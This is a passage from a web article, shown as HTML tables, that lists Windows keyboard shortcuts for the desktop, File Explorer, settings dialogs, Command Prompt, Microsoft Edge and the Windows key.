windows.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Spacebar</td><td class="table_body__data" colspan="1">Open context menu for the active window.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + F8</td><td class="table_body__data" colspan="1">Reveals typed password in Sign-in screen.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Shift + Click app button</td><td class="table_body__data" colspan="1">Open another instance of an app from the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + Click app button</td><td class="table_body__data" colspan="1">Run app as administrator from the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Shift + Right-click app button</td><td class="table_body__data" colspan="1">Show window menu for the app from the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Click a grouped app button</td><td class="table_body__data" colspan="1">Cycle through windows in the group from the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Shift + Right-click grouped app button</td><td class="table_body__data" colspan="1">Show window menu for the group from the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Left arrow key</td><td class="table_body__data" colspan="1">Move the cursor to the beginning of the previous word.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Right arrow key</td><td class="table_body__data" colspan="1">Move the cursor to the beginning of the next word.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Up arrow key</td><td class="table_body__data" colspan="1">Move the cursor to the beginning of the previous paragraph</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Down arrow key</td><td class="table_body__data" colspan="1">Move the cursor to the beginning of the next paragraph.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + Arrow key</td><td class="table_body__data" colspan="1">Select block of text.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Spacebar</td><td class="table_body__data" colspan="1">Enable or disable Chinese IME.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Shift + F10</td><td class="table_body__data" colspan="1">Open context menu for selected item.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">F10</td><td class="table_body__data" colspan="1">Enable app menu bar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Shift + Arrow keys</td><td class="table_body__data" colspan="1">Select multiple items.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + X</td><td class="table_body__data" colspan="1">Open Quick Link menu.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Number (0-9)</td><td class="table_body__data" colspan="1">Open the app in number position from the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + T</td><td class="table_body__data" colspan="1">Cycle through apps in the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Alt + Number (0-9)</td><td class="table_body__data" colspan="1">Open Jump List of the app in number position from the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + D</td><td class="table_body__data" colspan="1">Display and hide the desktop.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + M</td><td class="table_body__data" colspan="1">Minimize all windows.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Shift + M</td><td class="table_body__data" colspan="1">Restore minimized windows on the desktop.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Home</td><td class="table_body__data" colspan="1">Minimize or maximize all but the active desktop window.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Shift + Up arrow key</td><td class="table_body__data" colspan="1">Stretch desktop window to the top and bottom of the screen.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Shift + Down arrow key</td><td class="table_body__data" colspan="1">Maximize or minimize active desktop windows vertically while maintaining width.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Shift + Left arrow key</td><td class="table_body__data" colspan="1">Move active window to monitor on the left.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Shift + Right arrow key</td><td class="table_body__data" colspan="1">Move active window to monitor on the right.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Left arrow key</td><td class="table_body__data" colspan="1">Snap app or window left.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Right arrow key</td><td class="table_body__data" colspan="1">Snap app or window right.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + S (or Q)</td><td class="table_body__data" colspan="1">Open Search.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Alt + D</td><td class="table_body__data" colspan="1">Open date and time in the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Tab</td><td class="table_body__data" colspan="1">Open Task View.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Ctrl + D</td><td class="table_body__data" colspan="1">Create new virtual desktop.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Ctrl + F4</td><td class="table_body__data" colspan="1">Close active virtual desktop.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Ctrl + Right arrow</td><td class="table_body__data" colspan="1">Switch to the virtual desktop on the right.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Ctrl + Left arrow</td><td class="table_body__data" colspan="1">Switch to the virtual desktop on the left.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + P</td><td class="table_body__data" colspan="1">Open Project settings.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + A</td><td class="table_body__data" colspan="1">Open Action center.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + I</td><td class="table_body__data" colspan="1">Open Settings app.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Backspace</td><td class="table_body__data" colspan="1">Return to the Settings app home page.</td></tr></tbody></table>

</div></div>## File Explorer shortcuts

These are the most useful keyboard shortcuts you can use on File Explorer:

<div class="slice-container table-wrapper table-7iNnc5rxomCkqep5B8qDfg-13 slice-container-table" id="bkmrk-keyboard-shortcut-ac-2"><div class="table__container"><table class="table__wrapper table__wrapper--inbodyContent table__wrapper--sticky table__wrapper--divider" tabindex="0"><thead class="table__head"><tr class="table__head__row"><th class="table__head__heading table__head__heading--left" colspan="1">Keyboard shortcut</th><th class="table__head__heading table__head__heading--left" colspan="1">Action</th></tr></thead><tbody class="table__body"><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + E</td><td class="table_body__data" colspan="1">Open File Explorer.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + D</td><td class="table_body__data" colspan="1">Select address bar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + E (or F)</td><td class="table_body__data" colspan="1">Select search box.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + N</td><td class="table_body__data" colspan="1">Open new window.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + W</td><td class="table_body__data" colspan="1">Close active window.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + F (or F3)</td><td class="table_body__data" colspan="1">Start search.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Mouse scroll wheel</td><td class="table_body__data" colspan="1">Change view file and folder.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + E</td><td class="table_body__data" colspan="1">Expands all folders from the tree in the navigation pane.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + N</td><td class="table_body__data" colspan="1">Creates a new folder on desktop or File Explorer.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + L</td><td class="table_body__data" colspan="1">Focus on the address bar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + Number (1-8)</td><td class="table_body__data" colspan="1">Changes folder view.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + P</td><td class="table_body__data" colspan="1">Display preview panel.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Enter</td><td class="table_body__data" colspan="1">Open Properties settings for the selected item.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Right arrow key</td><td class="table_body__data" colspan="1">View next folder.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Left arrow key (or Backspace)</td><td class="table_body__data" colspan="1">View previous folder.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Up arrow</td><td class="table_body__data" colspan="1">Move up a level in the folder path.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">F11</td><td class="table_body__data" colspan="1">Switch active window full-screen mode.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">F2</td><td class="table_body__data" colspan="1">Rename selected item.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">F4</td><td class="table_body__data" colspan="1">Switch focus to address bar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">F5</td><td class="table_body__data" colspan="1">Refresh File Explorer's current view.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">F6</td><td class="table_body__data" colspan="1">Cycle through elements on the screen.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Home</td><td class="table_body__data" colspan="1">Scroll to the top of the window.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">End</td><td class="table_body__data" colspan="1">Scroll to the bottom of the window.</td></tr></tbody></table>

</div></div>## Settings page shortcuts

This list includes the keyboard shortcuts for the dialog box legacy settings pages (for example, Folder Options).

<div class="slice-container table-wrapper table-7iNnc5rxomCkqep5B8qDfg-16 slice-container-table" id="bkmrk-keyboard-shortcut-ac-3"><div class="table__container"><table class="table__wrapper table__wrapper--inbodyContent table__wrapper--sticky table__wrapper--divider" tabindex="0"><thead class="table__head"><tr class="table__head__row"><th class="table__head__heading table__head__heading--left" colspan="1">Keyboard shortcut</th><th class="table__head__heading table__head__heading--left" colspan="1">Action</th></tr></thead><tbody class="table__body"><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Tab</td><td class="table_body__data" colspan="1">Cycles forward through the tabs.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + Tab</td><td class="table_body__data" colspan="1">Cycles back through the tabs.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + number of tab</td><td class="table_body__data" colspan="1">Jumps to tab position.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Tab</td><td class="table_body__data" colspan="1">Moves forward through the settings.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Shift + Tab</td><td class="table_body__data" colspan="1">Moves back through the settings.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + underline letter</td><td class="table_body__data" colspan="1">Actions the setting identified by the letter.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Spacebar</td><td class="table_body__data" colspan="1">Checks or clears the option in focus.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Backspace</td><td class="table_body__data" colspan="1">Opens the folder one-level app in the Open or Save As dialog.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Arrow keys</td><td class="table_body__data" colspan="1">Select a button of the active setting.</td></tr></tbody></table>

</div></div>## Command Prompt shortcuts

On Command Prompt, you can use these keyboard shortcuts will help to work a little more efficiently:

<div class="slice-container table-wrapper table-7iNnc5rxomCkqep5B8qDfg-19 slice-container-table" id="bkmrk-keyboard-shortcut-ac-4"><div class="table__container"><table class="table__wrapper table__wrapper--inbodyContent table__wrapper--sticky table__wrapper--divider" tabindex="0"><thead class="table__head"><tr class="table__head__row"><th class="table__head__heading table__head__heading--left" colspan="1">Keyboard shortcut</th><th class="table__head__heading table__head__heading--left" colspan="1">Action</th></tr></thead><tbody class="table__body"><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + A</td><td class="table_body__data" colspan="1">Select all content of the current line.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + C (or Ctrl + Insert)</td><td class="table_body__data" colspan="1">Copy selected items to clipboard.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + V (or Shift + Insert)</td><td class="table_body__data" colspan="1">Paste content from clipboard.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + M</td><td class="table_body__data" colspan="1">Starts mark mode.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Up arrow key</td><td class="table_body__data" colspan="1">Move the screen up one line.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Down arrow key</td><td class="table_body__data" colspan="1">Move screen down one line.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + F</td><td class="table_body__data" colspan="1">Open search for Command Prompt.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Left or right arrow keys</td><td class="table_body__data" colspan="1">Move the cursor left or right in the current line.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Up or down arrow keys</td><td class="table_body__data" colspan="1">Cycle through the command history of the current session.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Page Up</td><td class="table_body__data" colspan="1">Move cursor one page up.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Page Down</td><td class="table_body__data" colspan="1">Move cursor one page down.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Home</td><td class="table_body__data" colspan="1">Scroll to the top of the console.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + End</td><td class="table_body__data" colspan="1">Scroll to the bottom of the console.</td></tr></tbody></table>

</div></div>## Microsoft Edge shortcuts

On Microsoft Edge, you will benefit from these keyboard shortcuts. These shortcuts apply to any version of Windows.

<div class="slice-container table-wrapper table-7iNnc5rxomCkqep5B8qDfg-22 slice-container-table" id="bkmrk-keyboard-shortcut-ac-5"><div class="table__container"><table class="table__wrapper table__wrapper--inbodyContent table__wrapper--sticky table__wrapper--divider" tabindex="0"><thead class="table__head"><tr class="table__head__row"><th class="table__head__heading table__head__heading--left" colspan="1">Keyboard shortcut</th><th class="table__head__heading table__head__heading--left" colspan="1">Action</th></tr></thead><tbody class="table__body"><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + B</td><td class="table_body__data" colspan="1">Show or hide the favorites bar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Shift + B</td><td class="table_body__data" colspan="1">Focus on the first item in the favorites bar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + D</td><td class="table_body__data" colspan="1">Save the tab as a favorite.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + D</td><td class="table_body__data" colspan="1">Save open tabs as favorites inside a new folder.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + D (or Ctrl + L or F4)</td><td class="table_body__data" colspan="1">Select the URL in the address bar to edit.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + E (or Ctrl + K)</td><td class="table_body__data" colspan="1">Start search in the address bar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + E (or Alt + F or F10 + Enter)</td><td class="table_body__data" colspan="1">Open the Settings (three-dotted) menu.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + F (or F3)</td><td class="table_body__data" colspan="1">Open the Find on page feature.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + G</td><td class="table_body__data" colspan="1">Cycle through search matches in the Find Bar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + G</td><td class="table_body__data" colspan="1">Reverse cycle through search matches in the Find Bar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + H</td><td class="table_body__data" colspan="1">Open the History page in a new tab.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + I (or F12)</td><td class="table_body__data" colspan="1">Open Developer Tools console.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Shift + I</td><td class="table_body__data" colspan="1">Open the Send feedback experience.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + J</td><td class="table_body__data" colspan="1">Open the Downloads page in a new tab.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + K</td><td class="table_body__data" colspan="1">Create a duplicate of the tab.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + L</td><td class="table_body__data" colspan="1">Paste and search or Paste and go.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + M</td><td class="table_body__data" colspan="1">Mute the current tab.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + M</td><td class="table_body__data" colspan="1">Sign in as a different user in the browser or use Guest user.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + N</td><td class="table_body__data" colspan="1">Open a new tab in a new window.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + N</td><td class="table_body__data" colspan="1">Open a new InPrivate window.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + O</td><td class="table_body__data" colspan="1">Launch Open dialog.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + O</td><td class="table_body__data" colspan="1">Open Favorites management page.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + P</td><td class="table_body__data" colspan="1">Print the current page.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + P</td><td class="table_body__data" colspan="1">Open print settings to print page.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + R (or F5)</td><td class="table_body__data" colspan="1">Reload the current page.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + R (or Shift + F5)</td><td class="table_body__data" colspan="1">Reload the page, ignoring cached content.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + S</td><td class="table_body__data" colspan="1">Save loaded page.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + T</td><td class="table_body__data" colspan="1">Open a new tab and switch to new tab.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + T</td><td class="table_body__data" colspan="1">Reopen the last closed tab and switch to the tab.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Shift + T</td><td class="table_body__data" colspan="1">Focus on the first item in the toolbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + U</td><td class="table_body__data" colspan="1">View page source code.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + U</td><td class="table_body__data" colspan="1">Controls Read Aloud feature.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + V</td><td class="table_body__data" colspan="1">Paste without including formatting.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + W (or Ctrl + F4)</td><td class="table_body__data" colspan="1">Close the current tab.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + W</td><td class="table_body__data" colspan="1">Close the current window and tabs.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + Y</td><td class="table_body__data" colspan="1">Open Collections feature.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + 0</td><td class="table_body__data" colspan="1">Reset zoom level setting.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + 1, 2, ... 8</td><td class="table_body__data" colspan="1">Switch to a specific open tab.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + 9</td><td class="table_body__data" colspan="1">Switch to the last tab of the window.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Enter</td><td class="table_body__data" colspan="1">Add "www." to the link you typed.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Tab (or Ctrl + PgDn)</td><td class="table_body__data" colspan="1">Switch to the next open tab.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + Tab</td><td class="table_body__data" colspan="1">Switch to the previous open tab.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Plus (+)</td><td class="table_body__data" colspan="1">Zoom in.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Minus (-)</td><td class="table_body__data" colspan="1">Zoom out.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + \\ (PDF)</td><td class="table_body__data" colspan="1">Toggle PDF between fit to page or fit to width.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + \[ (PDF)</td><td class="table_body__data" colspan="1">Rotate PDF counter-clockwise 90 degree.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + \] (PDF)</td><td class="table_body__data" colspan="1">Rotate PDF clockwise 90 degree.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + Delete</td><td class="table_body__data" colspan="1">Open clear browsing data options.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt (or F10)</td><td class="table_body__data" colspan="1">Focus on the Settings (three-dotted) button.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Left arrow</td><td class="table_body__data" colspan="1">Go back.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Right arrow</td><td class="table_body__data" colspan="1">Go forward.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Home</td><td class="table_body__data" colspan="1">Open home page.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + F4</td><td class="table_body__data" colspan="1">Close the current window.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">F1</td><td class="table_body__data" colspan="1">Open Help page.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">F6</td><td class="table_body__data" colspan="1">Switch focus to the next pane.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Shift + F6</td><td class="table_body__data" colspan="1">Switch focus to the previous pane.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">F7</td><td class="table_body__data" colspan="1">Enable or disable caret browsing.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">F9</td><td class="table_body__data" colspan="1">Enter or exit Immersive Reader.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Shift + F10</td><td class="table_body__data" colspan="1">Open browser context menu.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">F11</td><td class="table_body__data" colspan="1">Enter fullscreen.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Esc</td><td class="table_body__data" colspan="1">Stop loading page, close dialog, or close pop-up.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Spacebar (or PgDn)</td><td class="table_body__data" colspan="1">Scroll down the webpage one screen at a time.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Shift + Spacebar (or PgUp)</td><td class="table_body__data" colspan="1">Scroll up the webpage one screen at a time.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Tab</td><td class="table_body__data" colspan="1">Go to the next tab stop.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Shift + Tab</td><td class="table_body__data" colspan="1">Go to the previous tab stop</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Home</td><td class="table_body__data" colspan="1">Scroll to the top of the page, or move keyboard focus to the first item of the pane.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">End</td><td class="table_body__data" colspan="1">Scroll to the bottom of the page, or move keyboard focus to the last item of the pane.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + . (period)</td><td class="table_body__data" colspan="1">Opens or closes Copilot</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + , (comma)</td><td class="table_body__data" colspan="1">Open or closes vertical tabs</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + S</td><td class="table_body__data" colspan="1">Open Web capture</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Q</td><td class="table_body__data" colspan="1">Opens Command palette</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Shift + Esc</td><td class="table_body__data" colspan="1">Opens Browser task manager</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Shift + I</td><td class="table_body__data" colspan="1">Opens Send feedback</td></tr></tbody></table>

</div></div>## Windows key shortcuts

The **"Windows key,"** combined with other keys, allows you to perform many useful tasks, such as launch Settings, File Explorer, Run command, apps pinned in the Taskbar, or open specific features like Narrator or Magnifier. You can also complete tasks like controlling windows and virtual desktops, taking screenshots, locking the computer, and more.

This list includes all the most common keyboard shortcuts using the Windows key.

<div class="slice-container table-wrapper table-7iNnc5rxomCkqep5B8qDfg-25 slice-container-table" id="bkmrk-keyboard-shortcut-ac-6"><div class="table__container"><table class="table__wrapper table__wrapper--inbodyContent table__wrapper--sticky table__wrapper--divider" tabindex="0"><thead class="table__head"><tr class="table__head__row"><th class="table__head__heading table__head__heading--left" colspan="1">Keyboard shortcut</th><th class="table__head__heading table__head__heading--left" colspan="1">Action</th></tr></thead><tbody class="table__body"><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key</td><td class="table_body__data" colspan="1">Open Start menu.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + A</td><td class="table_body__data" colspan="1">Open Action center.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + S (or Q)</td><td class="table_body__data" colspan="1">Open Search.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + D</td><td class="table_body__data" colspan="1">Display and hide the desktop.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + L</td><td class="table_body__data" colspan="1">Locks computer.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + M</td><td class="table_body__data" colspan="1">Minimize all windows.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + B</td><td class="table_body__data" colspan="1">Set focus notification area in the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + C</td><td class="table_body__data" colspan="1">Launch Cortana app.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + F</td><td class="table_body__data" colspan="1">Launch Feedback Hub app.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + G</td><td class="table_body__data" colspan="1">Launch Game bar app.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Y</td><td class="table_body__data" colspan="1">Change input between desktop and Mixed Reality.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + O</td><td class="table_body__data" colspan="1">Lock device orientation.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + T</td><td class="table_body__data" colspan="1">Cycle through apps in the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Z</td><td class="table_body__data" colspan="1">Switch input between the desktop experience and Windows Mixed Reality.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + J</td><td class="table_body__data" colspan="1">Set focus on a tip for Windows 10 when applicable.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + H</td><td class="table_body__data" colspan="1">Open dictation feature.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + E</td><td class="table_body__data" colspan="1">Open File Explorer.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + I</td><td class="table_body__data" colspan="1">Open Settings.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + R</td><td class="table_body__data" colspan="1">Open Run command.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + K</td><td class="table_body__data" colspan="1">Open Connect settings.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + X</td><td class="table_body__data" colspan="1">Open Quick Link menu.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + V</td><td class="table_body__data" colspan="1">Open Clipboard bin.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + W</td><td class="table_body__data" colspan="1">Open the Windows Ink Workspace.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + U</td><td class="table_body__data" colspan="1">Open Ease of Access settings.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + P</td><td class="table_body__data" colspan="1">Open Project settings.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Ctrl + Enter</td><td class="table_body__data" colspan="1">Open Narrator.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Plus (+)</td><td class="table_body__data" colspan="1">Zoom in using the magnifier.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Minus (-)</td><td class="table_body__data" colspan="1">Zoom out using the magnifier.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Esc</td><td class="table_body__data" colspan="1">Exit magnifier.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Forward-slash (/)</td><td class="table_body__data" colspan="1">Start IME reconversion.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Comma (,)</td><td class="table_body__data" colspan="1">Temporarily peek at the desktop.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Up arrow key</td><td class="table_body__data" colspan="1">Maximize app windows.</td></tr><tr 